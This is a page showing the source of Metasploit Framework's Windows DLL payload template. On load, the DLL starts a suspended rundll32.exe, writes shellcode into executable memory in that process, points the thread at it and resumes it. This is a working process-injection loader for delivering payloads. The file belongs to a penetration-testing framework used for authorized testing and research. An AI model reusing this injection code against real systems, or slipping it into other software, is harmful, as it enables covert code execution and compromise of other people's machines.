CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/data/templates/src/pe/dll/template.c
Views: 11655
1
#include <windows.h>
2
#include "template.h"
3
4
#if BUILDMODE == 2
5
/* hand-rolled bzero allows us to avoid including ms vc runtime */
6
void inline_bzero(void *p, size_t l)
7
{
8
BYTE *q = (BYTE *)p;
9
size_t x = 0;
10
for (x = 0; x < l; x++)
11
*(q++) = 0x00;
12
}
13
14
#endif
15
16
17
void ExecutePayload(void);
18
19
BOOL WINAPI
20
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
21
{
22
switch (dwReason)
23
{
24
case DLL_PROCESS_ATTACH:
25
ExecutePayload();
26
break;
27
28
case DLL_PROCESS_DETACH:
29
// Code to run when the DLL is freed
30
break;
31
32
case DLL_THREAD_ATTACH:
33
// Code to run when a thread is created during the DLL's lifetime
34
break;
35
36
case DLL_THREAD_DETACH:
37
// Code to run when a thread ends normally.
38
break;
39
}
40
return TRUE;
41
}
42
43
// Use a combination semaphore / event to check if the payload is already running and when it is, don't start a new
44
// instance. This is to fix situations where the DLL is loaded multiple times into a host process and prevents the
45
// payload from being executed multiple times. An event object is used to determine if the payload is currently running
46
// in a child process. The event handle is created by this process (the parent) and configured to be inherited by the
47
// child. While the child process is running, the event handle can be successfully opened. When the child process exits,
48
// the event handle that was inherited from the parent will be automatically closed and subsequent calls to open it will
49
// fail. This indicates that the payload is no longer running and a new instance can be created.
50
BOOL Synchronize(void) {
51
BOOL bResult = TRUE;
52
BOOL bRelease = FALSE;
53
HANDLE hSemaphore = NULL;
54
HANDLE hEvent = NULL;
55
SECURITY_ATTRIBUTES SecurityAttributes;
56
57
// step 1: define security attributes that permit handle inheritance
58
SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
59
SecurityAttributes.lpSecurityDescriptor = NULL;
60
SecurityAttributes.bInheritHandle = TRUE;
61
62
do {
63
// step 2: create a semaphore to synchronize this routine
64
if ((hSemaphore = CreateSemaphoreA(&SecurityAttributes, 1, 1, szSyncNameS)) == NULL) {
65
// if the semaphore creation fails, break out using the default TRUE result, this shouldn't happen
66
break;
67
}
68
69
bResult = FALSE;
70
// step 3: acquire the semaphore, if the operation timesout another instance is already running so exit
71
if (WaitForSingleObject(hSemaphore, 0) == WAIT_TIMEOUT) {
72
break;
73
}
74
bRelease = TRUE;
75
76
// step 4: check if the event already exists
77
if (hEvent = OpenEventA(READ_CONTROL | SYNCHRONIZE, TRUE, szSyncNameE)) {
78
// if the event already exists, do not continue
79
CloseHandle(hEvent);
80
break;
81
}
82
83
// step 5: if the event does not already exist, create a new one that will be inherited by the child process
84
if (hEvent = CreateEventA(&SecurityAttributes, TRUE, TRUE, szSyncNameE)) {
85
bResult = TRUE;
86
}
87
} while (FALSE);
88
89
90
// step 6: release and close the semaphore as necessary
91
if (hSemaphore) {
92
if (bRelease) {
93
ReleaseSemaphore(hSemaphore, 1, NULL);
94
}
95
CloseHandle(hSemaphore);
96
}
97
// *do not* close the event handle (hEvent), it needs to be inherited by the child process
98
return bResult;
99
}
100
101
void ExecutePayload(void) {
102
int error;
103
PROCESS_INFORMATION pi;
104
STARTUPINFO si;
105
CONTEXT ctx;
106
DWORD prot;
107
LPVOID ep;
108
109
// Start up the payload in a new process
110
inline_bzero( &si, sizeof( si ));
111
si.cb = sizeof(si);
112
113
if (Synchronize()) {
114
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
115
DWORD result = CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS|CREATE_BREAKAWAY_FROM_JOB, NULL, NULL, &si, &pi);
116
117
// If we fail, try again without the CREATE_BREAKAWAY_FROM_JOB flag in the event that we are in a job but we can't break away from it.
118
if (result == FALSE){
119
result = CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi);
120
}
121
122
if (result) {
123
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
124
GetThreadContext(pi.hThread, &ctx);
125
126
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
127
128
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
129
130
#ifdef _WIN64
131
ctx.Rip = (DWORD64)ep;
132
#else
133
ctx.Eip = (DWORD)ep;
134
#endif
135
136
SetThreadContext(pi.hThread,&ctx);
137
138
ResumeThread(pi.hThread);
139
CloseHandle(pi.hThread);
140
CloseHandle(pi.hProcess);
141
}
142
}
143
ExitThread(0);
144
}
145
146